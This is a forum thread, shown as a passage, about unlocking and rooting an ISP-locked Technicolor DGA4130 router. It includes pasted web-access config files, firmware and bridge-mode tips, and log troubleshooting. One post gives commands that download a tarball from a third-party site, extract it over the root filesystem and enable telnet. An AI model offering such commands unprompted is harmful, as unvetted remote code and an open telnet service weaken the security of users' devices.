list roles 'engineer'

config rule 'homepage'
option target '/'
list roles 'guest'
list roles 'admin'
list roles 'engineer'

config rule 'gatewaymodal'
option target '/modals/gateway-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'diagnosticstcpdumpmodal'
option target '/modals/diagnostics-tcpdump-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'mmpbxstatistics'
option target '/modals/mmpbx-statistics-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'mwan'
option target '/modals/mwan-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'bridgegroupingmodal'
option target '/modals/bridge-grouping-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'qosqueuemodal'
option target '/modals/qos-queue-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'broadbandmodal'
option target '/modals/broadband-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'internetmodal'
option target '/modals/internet-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'wirelessmodal'
option target '/modals/wireless-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'wirelessqrcodemodal'
option target '/modals/wireless-qrcode-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'ethernetmodal'
option target '/modals/ethernet-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'devicemodal'
option target '/modals/device-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'wanservices'
option target '/modals/wanservices-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'firewallmodal'
option target '/modals/firewall-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'diagnosticsconnectionmodal'
option target '/modals/diagnostics-connection-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'diagnosticsnetworkmodal'
option target '/modals/diagnostics-network-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'diagnosticspingmodal'
option target '/modals/diagnostics-ping-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'diagnosticsxdslmodal'
option target '/modals/diagnostics-xdsl-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'wifinursemodal'
option target '/modals/wifi-nurse-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'logconnectionsmodal'
option target '/modals/log-connections-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'logroutingtablemodal'
option target '/modals/log-routingtable-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'assistancemodal'
option target '/modals/assistance-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'usermgrmodal'
option target '/modals/usermgr-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'syslogmodal'
option target '/modals/logviewer-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'todmodal'
option target '/modals/tod-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'todwifimodal'
option target '/modals/tod_wireless-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'iproutesmodal'
option target '/modals/iproutes-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'cwmpconf'
option target '/modals/cwmpconf-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'relaymodal'
option target '/modals/relay-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'xdsllowmodal'
option target '/modals/xdsl-low-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'natalghelper'
option target '/modals/nat-alg-helper-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'hostmapmodal'
option target '/modals/hostmap-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'systemmodal'
option target '/modals/system-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'wirelessclientmodal'
option target '/modals/wireless-client-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'contentsharing'
option target '/modals/contentsharing-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'parentalmodal'
option target '/modals/parental-modal.lp'
list roles 'admin'
list roles 'engineer'

config ruleset 'ruleset_intercept'
list rules 'parentalblock'

config rule 'parentalblock'
option target '/parental-block.lp'
list roles 'intercept'

config sessionmgr 'intercept'
option cookiepath '/'
option authpath '/authenticate'
option passpath '/password'
option loginpath '/login.lp'
option timeout '30'
option ruleset 'ruleset_intercept'
option default_user 'usr_intercept'
list users 'usr_intercept'

config user 'usr_intercept'
option name 'intercept'
option role 'intercept'

config rule 'printersharing'
option target '/modals/printersharing-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'mmpbxglobalmodal'
option target '/modals/mmpbx-global-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'mmpbxprofilemodal'
option target '/modals/mmpbx-profile-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'mmpbxinoutgoingmodal'
option target '/modals/mmpbx-inoutgoingmap-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'mmpbxservicemodal'
option target '/modals/mmpbx-service-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'mmpbxsipdevice'
option target '/modals/mmpbx-sipdevice-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'mmpbxlogmodal'
option target '/modals/mmpbx-log-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'mmpbxcontactsmodal'
option target '/modals/mmpbx-contacts-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'mmpbxcodecTImodal'
option target '/modals/mmpbx-codec-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'mmpbxajaxvoicetab'
option target '/ajax/voicetab.lua'
list roles 'admin'
list roles 'guest'
list roles 'engineer'

config rule 'ltemodal'
option target '/modals/lte-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'ltedoctormodal'
option target '/modals/lte-doctor.lp'
list roles 'admin'
list roles 'engineer'

config rule 'ltesms'
option target '/modals/lte-sms.lp'
list roles 'admin'
list roles 'engineer'

config rule 'lteprofiles'
option target '/modals/lte-profiles.lp'
list roles 'admin'
list roles 'engineer'

config rule 'lteradioparameters'
option target '/ajax/radioparameters.lua'
list roles 'admin'
list roles 'engineer'

config rule 'lteajaxsms'
option target '/ajax/sms.lua'
list roles 'admin'
list roles 'engineer'

config rule 'lteajaxmobiletab'
option target '/ajax/mobiletab.lua'
list roles 'guest'
list roles 'admin'
list roles 'engineer'

config rule 'ltenetworkscan'
option target '/ajax/networkscan.lua'
list roles 'admin'
list roles 'engineer'

config rule 'lteajaxsim'
option target '/ajax/sim.lua'
list roles 'admin'
list roles 'engineer'

config rule 'ltesim'
option target '/modals/lte-sim.lp'
list roles 'admin'
list roles 'engineer'

config rule 'ltedoctorajax'
option target '/ajax/lte-doctor.lua'
list roles 'admin'
list roles 'engineer'

config rule 'ltedoctor'
option target '/lte-doctor.lua'
list roles 'admin'
list roles 'engineer'


Replace the xxxxxxxxxx with what you have in your original copy :
Quote
   option srp_verifier 'xxxxxxxxxx'
   option srp_salt 'xxxxxxxxxx'

Now just restart transformer and nginx:
Code: [Select]
/etc/init.d/transformer restart
/etc/init.d/nginx restart

Now go in your browser and watch your gui with the unlocked tiles. You can now configure your ISP from the GUI. Please note that there is no BRIDGE mode available.  :-\

The GUI TIM unlocked is way more stable and BUG less than the moded GUI by ansuel, but also have less features.

(https://i.imgur.com/lddRoR6.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 25, 2018, 10:32:42 AM
To install telnet :

Code: [Select]
wget -P /tmp http://repository.ilpuntotecnicoeadsl.com/files/Ansuel/AGTEF/modular/telnet_support.tar.bz2
bzcat /tmp/telnet_support.tar.bz2 | tar -C / -xvf -
ln -s /bin/busybox_telnet /usr/sbin/telnetd
cp /etc/config/telnet_orig /etc/config/telnet

edit the file /etc/config/telnet and set option enable '1'

Once done, you can enable telnet from putty :
Code: [Select]
/etc/init.d/telnet enable
/etc/init.d/telnet start

to disable telnet :
Code: [Select]
/etc/init.d/telnet disable
/etc/init.d/telnet stop
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on January 28, 2018, 11:48:27 AM
I think I might have cracked my bridge problem. I switched the wan off on my asus for 5 hours last night and it came straight back up when I turned it back on where it would normally time out waiting for PADO packets.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Westie on January 28, 2018, 03:03:24 PM
That's good news! :thumbs: How have you changed it to do that?

ATM my ADSL line goes to a DGA4130 in modem/router mode, then on to a sub-network router which handles all the internal LANs, and I'm due to change to FTTC in a couple of days  :fingers: . Initially I'll be using the ISP-supplied modem/router (a locked HHG 2500), but I don't think I can extract line stats, and I gather its reliability is questionable.

The rest of the household just want 'something that works', so although I would like to change the DGA4130 to bridge mode, I won't have much opportunity for experimentation. Double NAT is not ideal, but it's either that or I resort to trying things out when I'm the only one still awake, ;)  so any help would be greatly appreciated.

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on January 30, 2018, 08:09:03 PM
@westie

I think if your isp requires a vlan id then you should be good to go in bridge mode using the modified gui.

Its those of us with no vlan requirement who have struggled.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Westie on January 30, 2018, 10:13:38 PM
Thanks, bilbokitz.

That sounds very promising :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on January 31, 2018, 01:24:23 AM
Hi !
@Lil-Koby

Here is how to safely use the latest Firmware AGTEF_1.1.0_002_CLOSED.rbi (and test the latest DSL driver ;D).


Great News !
I haven't been around the last weeks as i had lot of work to do but i'll give it a try it asap !
Thanks for letting me know... :)

Quote
Please note that there is no BRIDGE mode available.
edit: Bridge mode will work fine with the original TIM gui if you set it up via the network config file.
I've already done it with the official gui @1.0.3 but i struggled with telnet... Therefore thanks a bunch for the required steps to get telnet to work !! :thumbs:
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 31, 2018, 07:13:01 AM
yes, by editing the config files you can set the bridge mode without problem :)

As Ansuel disappeared without leaving any news, there is no more support for his GUI, and all the bugs will never be fixed...So I recommend you to use the GUI TIM unlocked, which doesn't have any bugs.
Only use the Ansuel GUI if you need the Bridge mode and don't want to manage your modem by editing files or sending commands with the shell.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on January 31, 2018, 02:55:38 PM
@shdf ...

Do you think there is a possibility that Ansuel could come back to continue the excellent work?
Has anyone ever made contact with him?

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 31, 2018, 03:11:49 PM
i don't know...i just saw him in the LEDE forum : https://forum.lede-project.org/u/ansuel/activity
looks like he is now in the Netgear R7800 hacking
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on January 31, 2018, 04:36:51 PM
Can anyone possibly tell me something about these nginx error messages?
Can they be fixed?

Code: [Select]
daemon.err
nginx
2017/12/18 22:53:37 [error] 4742#0: *8 [lua] sessionmgr.lua:279: redirectIfNotAuthorized(): Unauthorized request, client: 192.168.0.2, server: localhost, request: "GET / HTTP/1.1", host: "192.168.0.1", referrer: "http://192.168.0.1/"
Dec 18 22:53:27

daemon.err
nginx
2017/12/18 22:53:24 [error] 4742#0: *2 [lua] sessionmgr.lua:279: redirectIfNotAuthorized(): Unauthorized request, client: 192.168.0.2, server: localhost, request: "GET / HTTP/1.1", host: "192.168.0.1", referrer: "http://192.168.0.1/"
Dec 18 22:53:23

daemon.err
nginx
2017/12/18 22:53:23 [error] 4742#0: *2 [lua] sessionmgr.lua:279: redirectIfNotAuthorized(): Unauthorized request, client: 192.168.0.2, server: localhost, request: "GET / HTTP/1.1", host: "192.168.0.1", referrer: "http://192.168.0.1/"
Dec 18 22:53:23

daemon.warn
nginx
2017/12/18 22:53:23 [warn] 4742#0: *2 [lua] session.lua:343: new(): new session for default user, client: 192.168.0.2, server: localhost, request: "GET / HTTP/1.1", host: "192.168.0.1", referrer: "http://192.168.0.1/"

 :( :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 31, 2018, 05:06:15 PM
are you using the Ansuel GUI ? they were reported here, but never fixed :
https://www.ilpuntotecnicoeadsl.com/forum/index.php?topic=77325.4120
i think you can forget these errors, it's related to an expired session used by your browser or something like that. it's more a "report" from nginx than an "error".
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on January 31, 2018, 05:51:55 PM
Thanks a lot!  :)

Yes, I am using Ansuel's GUI. I use the TIM HUB in bridge mode with firmware 1.0.3

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on January 31, 2018, 08:25:57 PM
Is there a possibility for me to set the correct system time (without firmware update)? - And, to set a permanent password for the GUI (4.6.8) the setting jumps back to "admin"after every reboot)?

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 31, 2018, 08:52:53 PM
did you watch into the gateway tile ?
Set the timezone to Europe/London and replace the NTP servers with the one in your country : http://www.pool.ntp.org/zone/uk
0.uk.pool.ntp.org
1.uk.pool.ntp.org
2.uk.pool.ntp.org

(https://i.imgur.com/PNgXngt.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on January 31, 2018, 09:12:20 PM
Ok thank you very much, that helped! (even if time is five minutes early)  :) :) :)

Can you give me a solution to the lost password?

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 02, 2018, 08:10:55 PM
To stop my timeout waiting for PADO packets error in bridge mode with no vlan requirement from my , appears to be as a result of editing one of these two files:

/etc/config/wansensing

Code: [Select]
config wansensing 'global'
[b]option enable '0'
[/b] option initmode 'L2Sense'
option tracelevel '4'

config L2State
        option name 'L2Sense'
        option entryexits 'L2EntryExit'
        option mains 'L2Main'
        option timeout '5'

config L3State
        option name 'L3Sense'
        option entryexits 'L3EntryExit'
        option mains 'L3Main'
        option timeout '300'

config L3State
        option name 'L3UpSense'
        option entryexits 'L3UpEntryExit'
        option mains 'L3UpMain'
        option timeout '300'

/etc/config/xtm

Code: [Select]
config ptmdevice 'ptm0'
option priority 'low'
option path 'fast'
[b]option enc 'vc'[/b]

config atmdevice 'atmwan'
option ulp 'eth'
[b]option vpi '0'
option vci '38'[/b]
option path 'fast'
option enc 'vc'

And I can access the modem via putty on the same port.

I get 10Mbps more actual throughput than my hg612 on my 100/10 connection.

Now I will have a go at loading the latest firmware with the new autoflashgui tool, @shdf do you notice any improvement on dsl stats with it?

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 02, 2018, 09:40:32 PM
@shdf

"11) ok, so now from putty you can do a switchover, this will switch you on the other bank and reboot the modem on firmware 1.1.0 Rooted "
Comment?
 
edit : I read simply "switchover" trying now. :-[
 
edit2: AGTEF_1.1.0_002 rooted  :cool:

Merci shdf
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 03, 2018, 09:15:19 AM
Does anyone know how to remove the ugly "Check Upgrade" button? Firmware 1.0.5 with  Ansuel's GUI 4.6.8  is currently running on my 4132.

(https://i.imgur.com/FYJtqUK.png)

 :)

And: Would it be possible to make bridge mode available for the TIM GUI in the future?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 03, 2018, 12:27:05 PM
@shdf do you notice any improvement on dsl stats with it?
i didn't notice any imporvement, but at least it's not worse  ;D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 03, 2018, 12:30:11 PM
@eclp

In /www/docroot/gateway.lp remove this :

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if cui.outdated_ver == "1" then
html[#html + 1] = '<div class="btn" style="margin-right:10px" id="update">'
html[#html + 1] = '<a style="color:red" class="someInfos" rel="tooltip" data-placement="bottom" data-original-title="'
html[#html + 1] = T"Go to the gateway tab and click on the Upgrade buttom, to autoupgrade to the new GUI."
html[#html + 1] = '" href="https://www.ilpuntotecnicoeadsl.com/sblocco-smart-modem-evolution-dga4130-agtef" target="_blank">'
html[#html + 1] = T"Upgrade Available"
html[#html + 1] = '</a>'
html[#html + 1] = '</div>'
else
html[#html + 1] = '<div class="btn" style="margin-right:10px" id="update">'
html[#html + 1] = '<a style="color:red" href="https://www.ilpuntotecnicoeadsl.com/sblocco-smart-modem-evolution-dga4130-agtef" target="_blank">'
html[#html + 1] = T"Check Upgrade"
html[#html + 1] = '</a></div>'
end

Line 103 to 116
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 03, 2018, 11:56:51 PM
@shdf, thanks... that's what helped!  ;D

Can these uninterrupted messages (endless Loop) also be deactivated? 

br-lan and wl0_1

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Feb 4 10:25:18 daemon.info odhcpd[2862] Using a RA lifetime of 0 seconds on wl0_1
Feb 4 10:24:36 daemon.notice odhcpd[2862] Failed to send to ff02::1%wl1_1 (Operation not permitted)
Feb 4 10:24:36 daemon.info odhcpd[2862] Using a RA lifetime of 0 seconds on wl1_1
Feb 4 10:24:07 daemon.notice odhcpd[2862] Failed to send to ff02::1%br-lan (Operation not permitted)
Feb 4 10:24:07 daemon.info odhcpd[2862] Using a RA lifetime of 0 seconds on br-lan
Feb 4 10:20:25 daemon.notice odhcpd[2862] Failed to send to ff02::1%br-lan (Operation not permitted)
Feb 4 10:20:25 daemon.info odhcpd[2862] Using a RA lifetime of 0 seconds on br-lan
Feb 4 10:18:38 daemon.notice odhcpd[2862] Failed to send to ff02::1%wl1_1 (Operation not permitted)
Feb 4 10:18:38 daemon.info odhcpd[2862] Using a RA lifetime of 0 seconds on wl1_1
Feb 4 10:17:59 daemon.notice odhcpd[2862] Failed to send to ff02::1%wl0_1 (Operation not permitted)
Feb 4 10:17:59 daemon.info odhcpd[2862] Using a RA lifetime of 0 seconds on wl0_1
Feb 4 10:13:14 daemon.notice odhcpd[2862] Failed to send to ff02::1%wl1_1 (Operation not permitted)
Feb 4 10:13:14 daemon.info odhcpd[2862] Using a RA lifetime of 0 seconds on wl1_1
Feb 4 10:12:34 daemon.notice odhcpd[2862] Failed to send to ff02::1%br-lan (Operation not permitted)

It would be very nice if someone could help again.

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 04, 2018, 10:54:25 AM
are you using ipv6 ? if not then try to disable it.

Edit:
here is the reason, in the comment: https://bugs.lede-project.org/index.php?do=details&task_id=1274

You can try this:
with winscp open /etc/config/dhcp
and under the section : config odhcpd 'odhcpd' add this line : option loglevel '4'
like this :
Code: [Select]
config odhcpd 'odhcpd'
option leasefile '/tmp/hosts/odhcpd'
option leasetrigger '/usr/sbin/odhcpd-update'
option loglevel '4'

once done restart the odhcpd service: /etc/init.d/odhcpd restart

Alternative method: You can do the same thing but all from putty:
Code: [Select]
uci set dhcp.odhcpd.loglevel=4
uci commit dhcp.odhcpd.loglevel
/etc/init.d/odhcpd restart
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 04, 2018, 11:25:08 AM
@shdf ... thank you again for your answer!

The weird thing is, if I enable IPv6 in the GUI there are not these messages, I deactivate them it comes to this endless loop of messages.

edit:

Thank you so much! That helped again.  :) :) :)

Perhaps one last thing, and there are dozens of reports about it:
Code: [Select]
[32277.909000] netlink: 20 bytes leftover after parsing attributes.
Is the current iproute version perhaps too new for the kernel? And is there a workaround?

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 04, 2018, 11:39:46 AM
ok, so i think you should have some devices with ipv6 activated (smartphone, tablet, PC, etc...) and when ipv6 is not activated in the router then you have these logs...try to set the loglevel to 4
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: SpiK369 on February 04, 2018, 12:05:24 PM
Once you've installed the Firmware 1.1.x now it would be cool to unlock the tiles and all the features in the GUI that TIM locked.

with winscp make a copy of your /etc/config/web and create a new /etc/config/web file with this inside:

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config assistance 'remote'
option user 'assist'
option sessionmgr 'assistance'

config sessionmgr 'default'
option passpath '/password'
option timeout '30'
option authpath '/authenticate'
list users 'usr_guest'
list users 'usr_admin'
option cookiepath '/'
option ruleset 'ruleset_main'
option loginpath '/login.lp'

config sessionmgr 'assistance'
option passpath '/password'
option timeout '30'
option authpath '/authenticate'
list users 'usr_assist'
option cookiepath '/'
option ruleset 'ruleset_main'
option loginpath '/login.lp'

config uiconfig 'uidefault'
option nsplink 'http://www.technicolor.com'
option defaultuser 'admin'
option upgradefw '1'

config user 'usr_guest'
option name 'guest'
option srp_verifier 'xxxxxxxxxx'
option role 'guest'
option srp_salt 'xxxxxxxxxx'

config user 'usr_admin'
option name 'admin'
option role 'engineer'
option password_reminder '0'
option srp_verifier 'xxxxxxxxxx'
option srp_salt 'xxxxxxxxxx'

config user 'usr_assist'
option name 'assist'
option role 'admin'

config ruleset 'ruleset_main'
list rules 'assistancemodal'
list rules 'bridgegroupingmodal'
list rules 'broadbandmodal'
list rules 'contentsharing'
list rules 'cwmpconf'
list rules 'devicemodal'
list rules 'diagnosticsconnectionmodal'
list rules 'diagnosticsnetworkmodal'
list rules 'diagnosticspingmodal'
list rules 'diagnosticstcpdumpmodal'
list rules 'diagnosticsxdslmodal'
list rules 'ethernetmodal'
list rules 'firewallmodal'
list rules 'gateway'
list rules 'gatewaymodal'
list rules 'homepage'
list rules 'hostmapmodal'
list rules 'internetmodal'
list rules 'iproutesmodal'
list rules 'logconnectionsmodal'
list rules 'login'
list rules 'logroutingtablemodal'
list rules 'lteajaxmobiletab'
list rules 'lteajaxsim'
list rules 'lteajaxsms'
list rules 'ltedoctor'
list rules 'ltedoctorajax'
list rules 'ltedoctormodal'
list rules 'ltemodal'
list rules 'ltenetworkscan'
list rules 'lteprofiles'
list rules 'lteradioparameters'
list rules 'ltesim'
list rules 'ltesms'
list rules 'mmpbxajaxvoicetab'
list rules 'mmpbxcodecTImodal'
list rules 'mmpbxcontactsmodal'
list rules 'mmpbxdectmodal'
list rules 'mmpbxglobalmodal'
list rules 'mmpbxinoutgoingmodal'
list rules 'mmpbxlogmodal'
list rules 'mmpbxprofilemodal'
list rules 'mmpbxservicemodal'
list rules 'mmpbxsipdevice'
list rules 'mmpbxstatistics'
list rules 'mwan'
list rules 'natalghelper'
list rules 'parentalmodal'
list rules 'password'
list rules 'printersharing'
list rules 'relaymodal'
list rules 'syslogmodal'
list rules 'systemmodal'
list rules 'todmodal'
list rules 'todwifimodal'
list rules 'trafficmonitor'
list rules 'usermgrmodal'
list rules 'wanservices'
list rules 'wifinursemodal'
list rules 'wirelessclientmodal'
list rules 'wirelessmodal'
list rules 'wirelessqrcodemodal'
list rules 'xdsllowmodal'

config rule 'gateway'
option target '/gateway.lp'
list roles 'guest'
list roles 'admin'
list roles 'engineer'

config rule 'mmpbxdectmodal'
option target '/modals/mmpbx-dect-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'login'
option target '/login.lp'
list roles 'guest'
list roles 'admin'
list roles 'engineer'

config rule 'password'
option target '/password.lp'
list roles 'admin'
list roles 'engineer'

config rule 'homepage'
option target '/'
list roles 'guest'
list roles 'admin'
list roles 'engineer'

config rule 'gatewaymodal'
option target '/modals/gateway-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'diagnosticstcpdumpmodal'
option target '/modals/diagnostics-tcpdump-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'mmpbxstatistics'
option target '/modals/mmpbx-statistics-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'mwan'
option target '/modals/mwan-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'bridgegroupingmodal'
option target '/modals/bridge-grouping-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'qosqueuemodal'
option target '/modals/qos-queue-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'broadbandmodal'
option target '/modals/broadband-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'internetmodal'
option target '/modals/internet-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'wirelessmodal'
option target '/modals/wireless-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'wirelessqrcodemodal'
option target '/modals/wireless-qrcode-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'ethernetmodal'
option target '/modals/ethernet-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'devicemodal'
option target '/modals/device-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'wanservices'
option target '/modals/wanservices-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'firewallmodal'
option target '/modals/firewall-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'diagnosticsconnectionmodal'
option target '/modals/diagnostics-connection-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'diagnosticsnetworkmodal'
option target '/modals/diagnostics-network-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'diagnosticspingmodal'
option target '/modals/diagnostics-ping-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'diagnosticsxdslmodal'
option target '/modals/diagnostics-xdsl-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'wifinursemodal'
option target '/modals/wifi-nurse-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'logconnectionsmodal'
option target '/modals/log-connections-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'logroutingtablemodal'
option target '/modals/log-routingtable-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'assistancemodal'
option target '/modals/assistance-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'usermgrmodal'
option target '/modals/usermgr-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'syslogmodal'
option target '/modals/logviewer-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'todmodal'
option target '/modals/tod-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'todwifimodal'
option target '/modals/tod_wireless-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'iproutesmodal'
option target '/modals/iproutes-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'cwmpconf'
option target '/modals/cwmpconf-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'relaymodal'
option target '/modals/relay-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'xdsllowmodal'
option target '/modals/xdsl-low-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'natalghelper'
option target '/modals/nat-alg-helper-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'hostmapmodal'
option target '/modals/hostmap-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'systemmodal'
option target '/modals/system-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'wirelessclientmodal'
option target '/modals/wireless-client-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'contentsharing'
option target '/modals/contentsharing-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'parentalmodal'
option target '/modals/parental-modal.lp'
list roles 'admin'
list roles 'engineer'

config ruleset 'ruleset_intercept'
list rules 'parentalblock'

config rule 'parentalblock'
option target '/parental-block.lp'
list roles 'intercept'

config sessionmgr 'intercept'
option cookiepath '/'
option authpath '/authenticate'
option passpath '/password'
option loginpath '/login.lp'
option timeout '30'
option ruleset 'ruleset_intercept'
option default_user 'usr_intercept'
list users 'usr_intercept'

config user 'usr_intercept'
option name 'intercept'
option role 'intercept'

config rule 'printersharing'
option target '/modals/printersharing-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'mmpbxglobalmodal'
option target '/modals/mmpbx-global-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'mmpbxprofilemodal'
option target '/modals/mmpbx-profile-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'mmpbxinoutgoingmodal'
option target '/modals/mmpbx-inoutgoingmap-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'mmpbxservicemodal'
option target '/modals/mmpbx-service-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'mmpbxsipdevice'
option target '/modals/mmpbx-sipdevice-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'mmpbxlogmodal'
option target '/modals/mmpbx-log-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'mmpbxcontactsmodal'
option target '/modals/mmpbx-contacts-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'mmpbxcodecTImodal'
option target '/modals/mmpbx-codec-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'mmpbxajaxvoicetab'
option target '/ajax/voicetab.lua'
list roles 'admin'
list roles 'guest'
list roles 'engineer'

config rule 'ltemodal'
option target '/modals/lte-modal.lp'
list roles 'admin'
list roles 'engineer'

config rule 'ltedoctormodal'
option target '/modals/lte-doctor.lp'
list roles 'admin'
list roles 'engineer'

config rule 'ltesms'
option target '/modals/lte-sms.lp'
list roles 'admin'
list roles 'engineer'

config rule 'lteprofiles'
option target '/modals/lte-profiles.lp'
list roles 'admin'
list roles 'engineer'

config rule 'lteradioparameters'
option target '/ajax/radioparameters.lua'
list roles 'admin'
list roles 'engineer'

config rule 'lteajaxsms'
option target '/ajax/sms.lua'
list roles 'admin'
list roles 'engineer'

config rule 'lteajaxmobiletab'
option target '/ajax/mobiletab.lua'
list roles 'guest'
list roles 'admin'
list roles 'engineer'

config rule 'ltenetworkscan'
option target '/ajax/networkscan.lua'
list roles 'admin'
list roles 'engineer'

config rule 'lteajaxsim'
option target '/ajax/sim.lua'
list roles 'admin'
list roles 'engineer'

config rule 'ltesim'
option target '/modals/lte-sim.lp'
list roles 'admin'
list roles 'engineer'

config rule 'ltedoctorajax'
option target '/ajax/lte-doctor.lua'
list roles 'admin'
